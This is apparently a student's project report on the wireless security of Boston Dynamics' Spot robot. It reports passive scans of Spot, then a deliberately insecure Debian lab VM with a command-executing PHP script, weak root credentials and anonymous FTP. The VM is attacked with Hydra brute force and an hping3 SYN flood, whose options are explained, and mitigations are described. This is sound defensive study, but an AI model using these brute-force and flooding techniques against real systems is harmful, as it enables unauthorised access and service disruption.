Thus, our VM was set up with Debian Linux, a lightweight and customizable distribution, to mimic Spot's operating environment. This approach ensures realism while enabling efficient testing.
Overview of the VM Setup
1. Base Operating System: Debian Linux
· Chosen for its minimal footprint, flexibility, and alignment with Spot’s known OS.
2. Virtualisation Platform: VMware
· Selected for its ease of use, snapshot functionality, and ability to emulate networking scenarios.
3. Network Configuration: Bridged Networking
· Ensures the VM is accessible on the same network as the attack machine, simulating real-world scenarios where Spot would communicate over a wireless or wired network.

Services Installed
To simulate the kinds of services that may run on Spot and evaluate their potential vulnerabilities, we installed the following:
1. SSH (Secure Shell)
· Why it is used on robots: SSH is commonly used to remotely access and manage Linux-based systems, including robots, for configuration, diagnostics, and software updates.
· Setup:
· Installed OpenSSH server.
· Configured to allow root login and weak passwords for testing purposes.
· Vulnerability:
· Brute force attacks on weak credentials.
· Exploiting improperly secured SSH configurations.
2. Telnet
· Why it is used on robots: While Telnet is outdated and insecure, some legacy systems still use it for basic remote management or communication.
· Setup:
· Installed Telnet server and enabled root login.
· Configured to allow unencrypted connections.
· Vulnerability:
· Lack of encryption makes it susceptible to credential eavesdropping and command injection attacks.
3. Apache Web Server
· Why it is used on robots: Robots like Spot may host a web interface for monitoring system status, controlling the robot, or accessing logs and diagnostics.
· Setup:
· Installed Apache web server.
· Added a simple PHP script (vuln.php) that accepts and executes user-supplied commands, mimicking a poorly implemented command interface.
· Vulnerability:
· DDoS attacks on the web server.
· Exploiting command injection via the PHP script.
4. MariaDB (MySQL Alternative)
· Why it is used on robots: Robots may use a database to store mission data, configurations, logs, or sensor outputs.
· Setup:
· Installed MariaDB as a drop-in replacement for MySQL.
· Configured weak root credentials and allowed remote connections.
· Vulnerability:
· SQL injection attacks through web interfaces or APIs.
· Brute force attacks on the database credentials.
5. FTP (File Transfer Protocol)
· Why it is used on robots: FTP might be used to upload or retrieve logs, configuration files, or firmware updates.
· Setup:
· Installed vsftpd server.
· Enabled anonymous login and write access for testing.
· Vulnerability:
· Exploiting weak authentication.
· Uploading malicious files to the system.

Purpose of Each Service
These services were chosen based on their relevance to Linux-based robots and their potential usage on Spot:
· Remote Management: Services like SSH and Telnet allow operators to configure and monitor the robot remotely.
· Data Access and Storage: Services like FTP and MariaDB facilitate log access and mission data storage.
· User Interfaces: Web servers provide intuitive interfaces for controlling the robot or visualizing data.
Testing Setup
1. Debian Target Machine:
· IP Address: Configured with a static or dynamic IP, accessible from the attack machine.
· Services enabled for testing vulnerabilities (e.g., brute force, DDoS, injection).
· Root access allowed for SSH, Telnet, and FTP to simulate poorly secured configurations.
2. Kali Linux Attack Machine:
· Used to launch attacks against the services running on the Debian VM.
3. Connectivity:
· Both machines were configured on a bridged network, simulating a realistic environment where an attacker could access Spot over the same Wi-Fi or LAN.
Vulnerability Focus
The VM setup provides an environment to test the following:
1. Brute Force Attacks:
· Weak passwords for SSH, Telnet, FTP, and MariaDB allow brute force attempts using tools like hydra.
2. DDoS Attacks:
· Overloading SSH, Telnet, or the Apache web server to disrupt the system.
3. SQL Injection:
· Testing how malicious input can exploit MariaDB through a poorly secured web interface.
4. Command Injection:
· Using the vulnerable PHP script to execute arbitrary system commands.
5. Eavesdropping:
· Capturing unencrypted Telnet and FTP traffic to observe credentials and commands in transit.
Conclusion
This setup mirrors a simplified version of a Linux-based robotic system like Spot. The selected services represent common functionalities that might be present in such robots, making this VM a suitable testing ground for identifying and addressing potential vulnerabilities.
By leveraging this environment, we can systematically evaluate security risks and propose mitigations to strengthen wireless security in robotics systems. After testing, configurations can be reverted, or snapshots restored to maintain a controlled and repeatable environment.



[bookmark: _Toc184369196]Set Up Virtual environemnt
To thoroughly investigate the wireless security vulnerabilities of Boston Dynamics’ Spot robot, a controlled and replicable testing environment was established using a virtual machine (VM). This simulated environment replicates the operational characteristics of a Linux-based robotic system, allowing for a comprehensive evaluation of common vulnerabilities while ensuring ethical and safe testing practices.
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VMware Workstation was used to create a virtual machine simulating the operating environment of Boston Dynamics’ Spot robot. Debian Linux was selected as the operating system to replicate the architecture of typical robotics systems. This setup provides a controlled environment for safely testing wireless vulnerabilities.
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc184247298]Figure 14: Creating the Debian Machine
The virtual machine named ‘Robot’ was created in VMware to simulate the operating system of Boston Dynamics’ Spot.
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[bookmark: _Toc184247299]Figure 15: Identifying the IP Address
After setting up the virtual machine, the IP address was identified as 192.168.244.136. This address allows the simulated environment to communicate over the network, enabling the testing of wireless vulnerabilities and network interactions.
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[bookmark: _Toc184247300]Figure 16: Preparing the System
Basic tools, including net-tools, curl, wget, and nano, were installed to prepare the system for configuring and setting up necessary services. These tools ensure the virtual machine is equipped for network operations and further testing activities.
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[bookmark: _Toc184247301]Figure 17: Installing SSH
The OpenSSH server was installed on the virtual machine to enable secure remote access. This service facilitates controlled testing of network vulnerabilities and simulates real-world scenarios involving remote system management.
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[bookmark: _Toc184247302]Figure 18: Configuring SSH Settings
The SSH configuration file (/etc/ssh/sshd_config) was modified to tailor the SSH service to the requirements of the testing environment. Adjustments were made to ensure secure and efficient remote access while maintaining the necessary settings for conducting vulnerability assessments.
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc184247303]Figure 19: Installing Telnet
Telnet was installed on the virtual machine using xinetd to provide a legacy remote access service. This setup is intended for testing purposes to simulate vulnerabilities associated with unencrypted communication protocols.
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[bookmark: _Toc184247304]Figure 20: Configuring Telnet Settings
The Telnet configuration file (/etc/xinetd.d/telnet) was edited to enable and customize the Telnet service. This configuration allows the virtual machine to simulate vulnerabilities commonly associated with legacy, unencrypted remote access protocols for testing purposes.
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[bookmark: _Toc184247305]Figure 21: Installing Apache Server
The Apache2 web server was installed on the virtual machine to simulate web-based services commonly found in robotic systems. This setup facilitates testing for vulnerabilities, such as web server misconfigurations and potential injection attacks.
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[bookmark: _Toc184247306]Figure 22: Starting and Enabling Apache Server
The Apache2 service was started and enabled to ensure it runs continuously in the background. This configuration allows the virtual machine to simulate web-based interactions and test vulnerabilities, such as unauthorised access or service disruptions, in a real-world scenario.[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc184247307]Figure 23: Verifying Apache Server Operation
The Apache server's functionality was confirmed by accessing the virtual machine's IP address (192.168.244.136) in a web browser. The successful display of the Apache2 Debian Default Page indicates that the web server is operational and ready for further testing.
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[bookmark: _Toc184247308]Figure 24: Installing MySQL Server
The MySQL server was installed on the virtual machine to simulate database functionalities. This setup allows testing for vulnerabilities such as SQL injection attacks and weak database configurations, which are common in networked systems.
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc184247309]Figure 25: Installing FTP
The vsftpd FTP server was installed on the virtual machine to simulate file transfer capabilities. This setup is designed to test for vulnerabilities, such as weak authentication protocols and unauthorised file access, in networked systems.



[bookmark: _Toc184369197]Port Scanning
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[bookmark: _Toc184247310]Figure 26: Port Scanning Victim Machine
An Nmap scan was conducted to identify open ports and active services on the victim machine (192.168.244.136). The scan revealed the following results:
Port 21 (FTP): The File Transfer Protocol (FTP) service is running, indicating a potential point for file transfer-related vulnerabilities, especially if anonymous or weakly authenticated access is permitted.
Port 22 (SSH): The Secure Shell (SSH) service is active, allowing remote access to the system. This service requires further analysis to evaluate the strength of credentials and configuration.
Port 80 (HTTP): An HTTP web server is accessible, hosting a website or providing web-based functionalities. Misconfigurations or unpatched vulnerabilities in the server may expose the system to attacks.
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[bookmark: _Toc184247311]Figure 27: Service and Version Scan of Victim
An Nmap service and version scan (-sV) was performed on the victim machine (192.168.244.136) to gather detailed information about the active services and their versions. The results revealed:
Port 21 (FTP): The system is running vsftpd 3.0.3. This service is a common target for misconfigurations and vulnerabilities, such as enabling anonymous login or outdated versions.
Port 22 (SSH): The SSH service is identified as OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0). The specific version suggests the system is using an up-to-date implementation of OpenSSH, though further checks are needed to ensure it is not susceptible to known vulnerabilities or weak authentication.
Port 80 (HTTP): The HTTP web server is running Apache httpd 2.4.62 on Debian. Misconfigured Apache servers, outdated modules, or improper file permissions could lead to potential exploitation.

[image: A screenshot of a computer screen

Description automatically generated]
[bookmark: _Toc184247312]Figure 28: Intense Scan of Victim Machine
The intense scan of the victim machine (192.168.244.136) revealed several critical details about its open ports and services. The FTP service running on port 21 uses vsftpd 3.0.3 and permits anonymous access, as indicated by the FTP code 230. This vulnerability could potentially expose sensitive files or directories to unauthorised users. Furthermore, both the control and data connections for FTP are transmitted in plain text, leaving them susceptible to interception or eavesdropping.
The SSH service on port 22 is running OpenSSH 9.2p1 on Debian, utilising protocol version 2.0. The scan also identified public key types, including ECDSA and ED25519, which could be leveraged in further attacks if weak configurations or credentials are present.
The HTTP service on port 80 is powered by Apache httpd 2.4.62 on Debian. The Apache2 Debian default page is still accessible, indicating the server is operating with minimal configuration and potentially leaving it vulnerable to directory traversal attacks or misconfigurations.
Operating system detection identified the system as a Linux-based environment running kernel versions between 4.x and 5.x. The scan also confirmed the machine is virtualised using VMware and is directly connected to the attacker's network, as indicated by the one-hop distance.
These findings provide a comprehensive overview of the victim machine's exposed services, highlighting potential vulnerabilities that could be further explored for exploitation or mitigated to improve security.
[bookmark: _Toc184369198]Brute Force Attacks Overview
[bookmark: _Toc184369199]FTP Brute Force
A brute force attack involves systematically guessing passwords until the correct one is found. It exploits weak or default credentials often left unsecured in networked systems.
Relevance to Spot:
· Robots like Spot often rely on remote management tools (e.g., SSH) to allow administrators to access and configure the system.
· Weak password policies can make such systems vulnerable to brute force attacks.
· FTP and databases like MariaDB are used for file transfer and data storage and are also susceptible if poorly secured.
Objective: To assess the vulnerability of critical services (SSH, FTP, MariaDB) to brute force attacks using common password-cracking tools from the Kali attack machine.
Step 1: Prepare fot the attack 
Tool selection: 
· Hydra: A popular tool used for brute force password attacks.
· Wordlist: Use a dictionary like rockyou.txt (pre-installed on Kali) for testing weak passwords.
If default or weak passwords are used on critical services (SSH, FTP, MariaDB), a brute force attack will successfully gain access.


Step 2: Execute the Attack
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[bookmark: _Toc184247313]Figure 29: Executing the Attack
An attempt to brute-force the SSH service on the target machine (192.168.244.136) was initiated using Hydra. However, an error indicated that the rockyou.txt wordlist was not found at the specified path (/usr/share/wordlists/rockyou.txt). This occurred because the wordlist was not extracted or installed on the Kali machine. To resolve this, the rockyou.txt file must be extracted from its compressed state or installed using appropriate Kali Linux commands. This step is crucial for continuing the brute-force attack simulation to identify potential weak credentials on the target system.[image: A screenshot of a computer program
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[bookmark: _Toc184247314]Figure 30: Extracting and Verifying the Wordlist
The rockyou.txt wordlist was successfully extracted from its compressed state using the gzip command. The extracted file was then verified to be present in the correct directory (/usr/share/wordlists). This step ensures the availability of the wordlist for use in brute-force attacks, enabling the continuation of the vulnerability assessment process.
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[bookmark: _Toc184247315]Figure 31: Observation from Hydra Execution
Observations from Hydra Execution
The screenshot above shows Hydra performing a brute force attack against the SSH service running on the Debian target machine. Hydra successfully initialized and began testing password combinations using the rockyou.txt wordlist. However, the process encountered an error:
· Execution Details:
· Hydra began testing with an average rate of 149 tries per minute.
· It calculated a total of 1,434,425 attempts remaining to complete the wordlist.
· The attack process was interrupted with an error code.
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[bookmark: _Toc184247316]Figure 32: Reviewing Logs on The Target Machine
Reviewing Logs on the Target Machine
The brute force attack on the SSH service running on the Debian-based target machine was unsuccessful due to a combination of built-in security mechanisms and technical limitations. The SSH service's default configuration includes protections such as MaxAuthTries, which limits the number of failed logins attempts per session. During the experiment, the logs from the target machine showed repeated authentication failures followed by disconnections when the maximum retry limit was exceeded. Additionally, the SSH service introduced delays between failed connection attempts, further impeding the attack's progress and demonstrating its effectiveness in mitigating brute force attempts.

Technical issues also contributed to the failure of the attack. Hydra, the tool used for the brute force test, encountered an error due to insufficient permissions to create a restore file, disrupting the process prematurely. Furthermore, it is possible that the password configured on the target machine was not included in the wordlist used during the attack, which would render the attempt ineffective regardless of the method. These factors combined to prevent the attack from succeeding, underscoring the importance of robust default configurations and secure password policies in protecting services like SSH from unauthorised access.
[bookmark: _Toc184369200]Maria DB Brute force
A brute-force attack will be executed on the MariaDB service hosted on the Debian-based target machine. This test aims to evaluate the database's susceptibility to weak credentials and identify potential security risks. Such vulnerabilities could be critical in scenarios where robotic systems, like Boston Dynamics' Spot, rely on databases for storing sensitive data or managing system configurations. The results of this test will provide insights into the importance of robust credential policies in safeguarding database-driven robotic operations.
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[bookmark: _Toc184247317]Figure 33: Validating Open Port and Brute Force Attack on MariaDB
An Nmap scan was conducted on the target machine (192.168.244.136) to verify that port 3306/tcp is open and that the MySQL service is active. This ensures the MariaDB database is accessible for further testing.
A brute-force attack was then performed on the MariaDB service, simulating a common vulnerability where weak credentials are used for database management systems. Hydra, a versatile tool for automating login attempts across various protocols, was utilised to systematically test the rockyou.txt wordlist against the root user credentials of the MariaDB service. This test highlights the importance of strong password policies in securing database systems, particularly when used in robotic systems for critical data storage or configuration management.
The attack was configured to use the following command:
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[bookmark: _Toc184247318]Figure 34: Brute Force Attack Results
This setup specified the username (root), the wordlist (rockyou.txt), the MariaDB port (3306), and the target IP address (192.168.244.136). Hydra successfully identified the password 1234 after testing multiple combinations from the wordlist.
The root user’s password was weak (1234) and easily cracked using Hydra. This demonstrates the risk of using weak or default credentials in database systems, especially those accessible over a network. The results of this experiment highlight the importance of secure database configurations in networked systems, particularly those used in robotics or IoT environments. Weak passwords like 1234 not only expose the system to unauthorised access but also compromise the integrity of the entire robotic platform. In real-world scenarios, attackers gaining access to a database could manipulate critical configurations, extract sensitive data, or disrupt system operations.
Mitigation Stratergies 
To enhance the security of the MariaDB service and mitigate vulnerabilities such as brute force attacks or unauthorised access, the following measures will be implemented:
1. Enforcing Strong Password Policies
Implementing strong password policies will ensure that all user accounts associated with the database use complex, unique credentials. This reduces the risk of brute force attacks by increasing the difficulty of guessing or cracking passwords.
2. Restricting Remote Access
Configuring the MariaDB service to restrict access only to trusted IP addresses or localhost ensures that unauthorised systems cannot connect to the database. This minimises the exposure of the database to external threats.
3. Limiting Connection Attempts and Enabling Logging
By setting a limit on the number of failed login attempts, repeated brute force attacks can be thwarted. Enabling detailed logging of all connection attempts will help in identifying and responding to suspicious activity promptly.
4. Disabling Remote Root Login
Preventing remote login for the root user ensures that highly privileged accounts cannot be accessed from external systems. Instead, administrative tasks can be performed locally or through secure, non-root accounts with limited privileges.
These strategies collectively strengthen the database's security posture and safeguard it against common threats, ensuring its reliability in a networked robotic environment.
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[bookmark: _Toc184247319]Figure 35: Enforcing a Strong Password
A strong password was manually set for the MariaDB root user using the ALTER USER command. The new password (StrongPassword123!) adheres to best practices for password security, incorporating a mix of uppercase and lowercase letters, numbers, and special characters. This measure significantly reduces the likelihood of successful brute force attacks and strengthens the database's overall security.[image: A white screen with black text
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[bookmark: _Toc184247320]Figure 36: Disabling Remote Root Login
To prevent remote attackers from accessing the MariaDB service using the root account, remote root login was disabled. The privileges for the root user were restricted to localhost by using the GRANT ALL PRIVILEGES command, ensuring the root account is only accessible locally. The FLUSH PRIVILEGES command was executed to apply these changes immediately. This measure enhances security by limiting the root account's accessibility and reducing the risk of unauthorised remote access.
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[bookmark: _Toc184247321]Figure 37: Max_connect_errors at 100000
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[bookmark: _Toc184247322]Figure 38: Limiting Connection Attempts
To mitigate the risk of brute force attacks, the max_connect_errors parameter in the MariaDB configuration file (/etc/mysql/mariadb.conf.d/50-server.cnf) was adjusted. The value was reduced from the default of 1000000 to 10, ensuring that IP addresses are blocked after 10 consecutive failed connection attempts. This change significantly reduces the likelihood of successful brute force attacks by limiting the number of retries available to an attacker.
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[bookmark: _Toc184247323]Figure 39: Restricting Remote Access
To prevent unauthorised access, the MariaDB service was configured to listen only on localhost. The bind-address parameter in the configuration file (/etc/mysql/mariadb.conf.d/50-server.cnf) was updated from 0.0.0.0 (all network interfaces) to 127.0.0.1 (localhost). This change ensures that the database is accessible only from the local machine, significantly reducing the attack surface for remote threats.
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[bookmark: _Toc184247324]Figure 40: Enabling General Query Logging
General query logging was enabled to monitor login attempts and track database activity. The general log parameter was set to 1, and the log file location was specified as /var/log/mysql/mariadb.log in the configuration file (/etc/mysql/mariadb.conf.d/50-server.cnf). This setup allows for comprehensive monitoring of all queries and connections, aiding in the detection of suspicious activities and potential unauthorised access attempts.

MariaDB brute force attack after mitigation techniques added
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[bookmark: _Toc184247325]Figure 41: Retrying Brute Force Attack
After implementing the recommended security measures to secure the MariaDB service, the brute force attack using Hydra was retried to evaluate the effectiveness of the mitigations. The attack targeted the root user with the same wordlist (rockyou.txt) and was configured to use the MariaDB protocol over port 3306 on the target machine. However, the attack failed to connect to the database due to the enhanced security configurations.
The Hydra output indicated that all connection attempts were terminated with errors such as "cannot connect" and "all children were disabled due to too many connection errors." This failure was expected, as the implemented changes, including disabling remote root login, restricting the bind-address to 127.0.0.1, and enforcing stricter connection limits, effectively blocked remote access. The attack could no longer establish a valid connection to MariaDB, highlighting the success of the applied security measures in preventing brute force attempts. This result underscores the importance of hardening database configurations to protect against unauthorised access, particularly in systems where network exposure is a potential risk.
MariaDB brute force conclussion
The experiments and subsequent mitigations involving the MariaDB service illustrate the critical importance of securing database systems, particularly when they are integral to robotics platforms like Boston Dynamics' Spot. The initial brute force attack demonstrated how weak credentials, combined with default configurations that allow remote access, could be exploited to compromise the system. If such an attack were successful in a real-world scenario, it could grant an adversary unauthorised access to the robot's data or control systems.
In the context of Spot, a compromised database could have severe consequences. For instance, sensitive operational data, mission parameters, or even user credentials stored in the database could be extracted and misused. An attacker might alter configuration settings, disrupt robotic tasks, or introduce malicious commands, potentially leading to loss of functionality, safety risks, or data breaches.
The implementation of security measures, including enforcing strong passwords, disabling remote root access, and restricting connections to the local machine, effectively mitigated these risks. These steps highlight the importance of adopting robust security practices in any robotics system that relies on databases for operation or configuration. By securing MariaDB, we demonstrated how such vulnerabilities can be addressed, ensuring that critical components like Spot remain resilient against unauthorised access and malicious interference. This underscores the broader need for proactive security configurations in modern robotics platforms to safeguard their operational integrity and data.
[bookmark: _Toc184369201]Denial Of Service (DoS)Attack
A DoS attack aims to overload a service, rendering it unavailable to legitimate users. This experiment will simulate a DoS attack on a service running on the target machine (e.g., MariaDB, SSH, or a web server). We will evaluate how the system handles the attack and identify measures to mitigate this vulnerability.
Target: SSH (Port 22)
SSH is a commonly used protocol for remote access and system management. A successful DoS attack on SSH would prevent administrators from accessing the system, effectively isolating the robot or device.
Steps to Perform the SSH DoS Attack
1. Verify SSH is Running on the Target
On the target machine, confirm that SSH is active and running:
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[bookmark: _Toc184247326]Figure 42: Verifying SSH Service Status


2. Launch the DoS Attack
From the Kali machine, use hping3 to flood the SSH service with SYN packets:
Run the following command:
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[bookmark: _Toc184247327]Figure 43: Launching DoS Attack
-S: Send TCP SYN packets to initiate connections.
-p 22: Target port 22 (SSH).
-i u1000: Set an interval of 1000 microseconds (1 ms) between packets for a high-intensity attack.
-192.168.244.136: IP address of the target machine
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[bookmark: _Toc184247328]Figure 44: Simulating High-Volume Connection Requests
The kali machine repeatedly sends sSYN packets to the SSH service, simulating a high volume of connection requests.
Step 3 Monitor the target machine.
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[bookmark: _Toc184247329]Figure 45:SSH Server Status After DoS Attack
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[bookmark: _Toc184247330]Figure 46: SSH Logs
Denial of Service (DoS) Attack on SSH: Results and Analysis
The goal of this experiment was to simulate a Denial of Service (DoS) attack on the SSH service running on the target machine, with the expectation of overwhelming the service and rendering it unresponsive. The attack was initiated using hping3 from the attack machine, flooding the SSH service on port 22 with a high volume of SYN packets. However, the results indicate that the attack had no measurable impact on the target system.
Attack Execution: The hping3 tool successfully sent a continuous stream of packets to the target's SSH port, as evidenced by the screenshot showing the attack in progress. Despite the sustained packet flood, the target system remained fully operational, and the SSH service continued to function normally.
System Logs: Examination of the SSH logs on the target machine revealed no indication of the incoming attack traffic. This suggests that either the attack traffic was not received by the target, or it was silently discarded by the system.
System Performance: Monitoring tools such as top on the target machine showed no significant increase in CPU or memory usage during the attack, further confirming the system's resilience:
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[bookmark: _Toc184247331]Figure 47: Robot Machine Performance
Implications for Robotics Systems
In the context of a robotic system like Spot, the lack of impact from the DoS attack is a positive finding, as it suggests resilience against simple flooding attacks. However, more sophisticated DoS methods, such as Distributed Denial of Service (DDoS) attacks or protocol-specific exploits, could pose a greater risk and warrant further investigation.
Conclusion
This experiment demonstrates the importance of testing system resilience under various attack scenarios. While this specific DoS attempt was ineffective, it underscores the need for robust security measures, such as rate limiting, firewalls, and intrusion detection systems, to protect critical services in robotics platforms.
[bookmark: _Toc184369202]Practical Conclusion
The practical investigation into Boston Dynamics' Spot robot and its wireless security measures revealed robust and advanced defences against common cybersecurity threats. Despite employing a variety of industry-standard tools and methodologies, including Wireshark and Zenmap, no significant vulnerabilities were identified in Spot’s communication protocols or network setup. This outcome demonstrates Spot’s reliance on military-grade encryption, minimal network exposure, and advanced security configurations, making it highly resilient to attacks.
The initial tests involved configuring a wireless adapter in monitor mode to capture and analyse Spot's wireless traffic using Wireshark. Although Spot was actively operating during the tests, no packets were captured. This outcome suggests that Spot employs advanced encryption techniques or stealth communication methods that effectively obfuscate its wireless activity from external monitoring tools. Such measures align with expectations of a highly secure system but also posed challenges for further vulnerability assessments.
Subsequently, Zenmap was used to perform an intense scan of Spot's network. The scan identified a limited number of open ports, specifically SSH (Port 22) and HTTPS (Port 443). Both ports were securely configured, with SSH running a modern implementation and HTTPS supporting encrypted web-based communication. Most other ports were either filtered or closed, reflecting Spot’s strong security system settings and deliberate limitation of its network exposure. The robot’s operating system was identified as a Linux-based platform optimised for embedded systems, consistent with the high-security design expected in such a device. The results confirmed Spot’s structured and minimalistic network architecture, which further reduces the risk of unauthorised access.
Despite the comprehensive efforts, the inability to detect or exploit vulnerabilities directly necessitated a transition to the contingency plan. A simulated environment was created using a virtual machine running Debian Linux to mimic a robotics system's communication and services. This allowed for controlled testing of vulnerabilities typical of mobile robotics, including weak credentials, unencrypted communication, and poorly configured services. Brute force attacks on services such as SSH and MariaDB highlighted the risks posed by weak authentication mechanisms, while tests on vulnerable services like FTP and web servers revealed potential entry points for unauthorised access in less secure systems. A Denial-of-Service (DoS) attack targeting SSH, however, was found to be ineffective due to robust default configurations, further emphasising the need for layered security defences.
In conclusion, the practical assessment validated the effectiveness of Spot’s security architecture while highlighting the challenges of assessing such a highly secure platform. The results of the contingency plan provided meaningful insights into common vulnerabilities in mobile robotic systems and informed strategies for mitigating these risks. The study underscores the importance of implementing strong encryption, secure authentication, and continuous monitoring to protect robotic platforms. Together, these findings contribute to a broader understanding of robotic cybersecurity and provide actionable recommendations for enhancing wireless security in less advanced systems, ensuring their safe deployment in diverse operational environments.
[bookmark: _Toc184369203]Conclusion And Recommendations
[bookmark: _Toc184369204]Summary
This project focused on investigating the wireless security of mobile robotics, using Boston Dynamics' Spot robot as a case study. The research began by exploring the current state of mobile robotic systems and their dependence on wireless communication for control, navigation, and data exchange. An extensive literature review provided a foundation for understanding existing vulnerabilities in wireless protocols and the advanced security measures employed in robotics like Spot.
The practical phase of the project aimed to identify potential vulnerabilities in Spot's wireless communication and network architecture. Initial tests were conducted using tools such as Wireshark and Zenmap to capture and analyse data packets, map the network topology, and assess the robot’s communication protocols. However, these efforts revealed no exploitable vulnerabilities, as Spot employs military-grade encryption, robust firewall configurations, and minimal network exposure. These findings confirmed the high level of security that protects Spot from external attacks but posed challenges for direct vulnerability testing.
To address these limitations, a contingency plan was implemented, creating a simulated environment using a Debian Linux-based virtual machine to replicate the typical services and communication protocols found in mobile robotic systems. This controlled setup allowed for the testing of common vulnerabilities, including brute force attacks, weak authentication mechanisms, and unencrypted communication channels. The findings from these tests highlighted potential weaknesses in less secure robotic systems and informed recommendations for improving their security configurations.
The project successfully demonstrated the robustness of Spot’s security architecture while shedding light on the broader cybersecurity challenges facing mobile robotic platforms. Through a combination of practical experimentation and simulated testing, the research identified key areas of concern for wireless communication security and proposed actionable solutions for enhancing protection in mobile robotics.
[bookmark: _Toc184369205]Conclusion
This project successfully explored the wireless security of mobile robotics, using Boston Dynamics' Spot robot as a focal point. The investigation affirmed the advanced security measures employed by Spot, providing valuable insights into the state of cybersecurity in modern robotics. However, the project also highlighted certain limitations and areas for improvement that could have significantly enhanced the scope and impact of the research.
The project’s practical phase underscored the formidable security of Spot, with no vulnerabilities identified during the testing of its wireless communication and network architecture. Tools such as Wireshark and Zenmap, alongside methods like packet sniffing and network mapping, were used extensively. However, Spot’s military-grade encryption and obfuscation techniques rendered its wireless communication impenetrable to external monitoring.
This prevented the capture of data packets even during active operations. The limited number of securely configured open ports further underscored the robustness of its security. While this resilience validated Spot’s design, it also restricted the depth of the vulnerability assessment and limited the practical experimentation to surface-level observations.
The introduction of the contingency plan was a necessary pivot to address these limitations. The simulated environment using a Debian Linux-based virtual machine allowed for testing common vulnerabilities in robotic systems. While this approach yielded significant insights into the risks posed by weak authentication, unencrypted communication, and poorly configured services, it lacked the direct applicability to Spot itself. The inability to test Spot in a less controlled manner or with more advanced tools limited the generalisability of the findings.
Efforts to conduct specific attacks, such as brute force attempts on SSH and Denial-of-Service (DoS) attacks, further demonstrated the challenges of testing systems in the contingency plan. The SSH brute force attack failed due to robust default configurations that limited login attempts and introduced delays after repeated failures. Similarly, the DoS attack on SSH showed no measurable impact, as the system effectively discarded the high volume of SYN packets without any degradation in performance. 
Several factors could have improved the depth and outcomes of the project. Firstly, access to more advanced equipment, such as higher-grade wireless monitoring devices or custom-built signal analysis tools, would have enabled a more thorough examination of Spot’s communication protocols. A larger budget could also have facilitated the acquisition of specialised software and hardware, such as signal decoders or SDR (Software-Defined Radio) systems, capable of bypassing some of Spot’s obfuscation techniques. A longer timeframe would have allowed for deeper experimentation, including testing more sophisticated attack methods, conducting repeated trials, and exploring alternative approaches to vulnerability identification.
A closer collaboration with Boston Dynamics or access to more proprietary information about Spot’s architecture and communication protocols would have provided a more comprehensive understanding of its security features. This could have enabled targeted testing rather than just relying solely on external assessments. The lack of such collaboration inevitably restricted the research to what was observable.
In conclusion, while the project successfully demonstrated Spot’s robustness and contributed to the understanding of wireless security in mobile robotics, the limitations of equipment, time, and budget constrained the depth of the analysis. Future projects would benefit from addressing these limitations, enabling more sophisticated testing and a broader exploration of vulnerabilities. Despite these challenges, the project achieved its objectives by highlighting both the strengths of advanced robotic systems like Spot and the areas where less secure systems remain vulnerable, paving the way for further advancements in robotic cybersecurity.
[bookmark: _Toc184369206]Future Research Recommendations
The findings and limitations of this project provide valuable guidance for future research into the wireless security of mobile robotics. One key recommendation is to leverage more advanced equipment and technologies, such as Software-Defined Radios (SDRs) and high-frequency signal analysers, to enable deeper exploration of encrypted or obfuscated communication protocols. Custom signal decoders tailored to specific robotic systems could further enhance the ability to study advanced security mechanisms. Additionally, securing increased funding and resources would enable the acquisition of specialised tools, the design of more sophisticated experiments, and the hiring of technical experts to expand the scope of future studies.
Collaborating with robotics manufacturers, such as Boston Dynamics, would offer significant advantages by providing access to proprietary information about internal architectures and communication protocols. Such partnerships could facilitate more targeted testing and deeper analysis of vulnerabilities that are otherwise inaccessible from an external perspective. Beyond individual systems like Spot, future research could broaden its scope to compare a range of mobile robots with varying levels of security, as well as those utilising different wireless protocols, such as Bluetooth, Zigbee, or LTE. This would help identify protocol-specific risks and inform strategies for standardising security practices across the industry.
Lastly, future research should consider the application of advanced methodologies, such as machine learning, for automating the detection of anomalies and vulnerabilities. Longitudinal studies examining robotic security across system updates could reveal how vulnerabilities evolve over time, while simulated real-world scenarios could evaluate robots' performance under environmental constraints like interference or signal degradation. Cross-disciplinary collaboration with fields such as cryptography, machine learning, and robotics engineering could drive the development of next-generation encryption techniques and more robust security frameworks. By addressing these areas, future studies will contribute to stronger security standards and enhanced resilience for mobile robotic systems in diverse applications.
[bookmark: _Toc184369207]Technical and Personal Reflection
This project has been a challenging yet rewarding journey, providing significant opportunities for both technical growth and personal development. The technical aspects of the research required a deep dive into the wireless security of mobile robotics, specifically Boston Dynamics’ Spot robot, and demanded a strong understanding of cybersecurity principles, tools, and methodologies. Personally, the project tested my resilience, problem-solving abilities, and capacity to adapt to unforeseen challenges, all of which have contributed to my growth as a researcher and professional.
From a technical perspective, this project allowed me to explore advanced tools such as Wireshark and Zenmap for network traffic analysis and vulnerability assessment. Configuring equipment like wireless adapters and using the Kali Linux environment for penetration testing honed my skills in network security and provided a practical understanding of concepts learned during my academic coursework. However, the robust security measures of Spot presented a unique challenge, as they limited the scope of direct vulnerability testing. This required me to adapt my approach by implementing a contingency plan that involved setting up a virtual machine to simulate robotic communication systems. Through this, I gained hands-on experience with configuring Linux-based systems, testing various attack vectors, and interpreting complex results, significantly enhancing my technical proficiency.
On a personal level, this project was a lesson in perseverance and adaptability. Encountering obstacles, such as the inability to exploit Spot’s vulnerabilities and technical issues during simulated attacks, often felt like setbacks. However, these challenges pushed me to think critically and creatively, leading to the development of alternative strategies. Time management and self-discipline were also critical, as balancing the demands of this project with other academic and personal responsibilities required careful planning and prioritisation. Additionally, the collaborative support I received from my supervisors, Dr. Nitheesh Kaliyamurthy and Simon Peter Thomas, highlighted the importance of mentorship and teamwork in overcoming difficulties and achieving research goals.
Looking back, I recognise that certain limitations, such as restricted access to advanced equipment, a constrained budget, and a tight timeframe, impacted the scope of this project. These limitations taught me the importance of resource optimisation and reinforced the value of planning for contingencies. Despite these constraints, the project’s success in meeting its objectives has been deeply fulfilling and has furthered my confidence in tackling complex problems in the future.
In conclusion, this project has been an invaluable learning experience, combining technical expertise with personal growth. It has deepened my understanding of wireless security in robotics and strengthened my problem-solving, adaptability, and resilience—qualities that will undoubtedly serve me well in my future career.
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tJ kali@kali: ~
File Actions Edit View Help

etho no wireless extensions.
docker® no wireless extensions.

wlan@ unassociated ESSID:"" Nickname:"<WIFIQREALTEK>"
Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
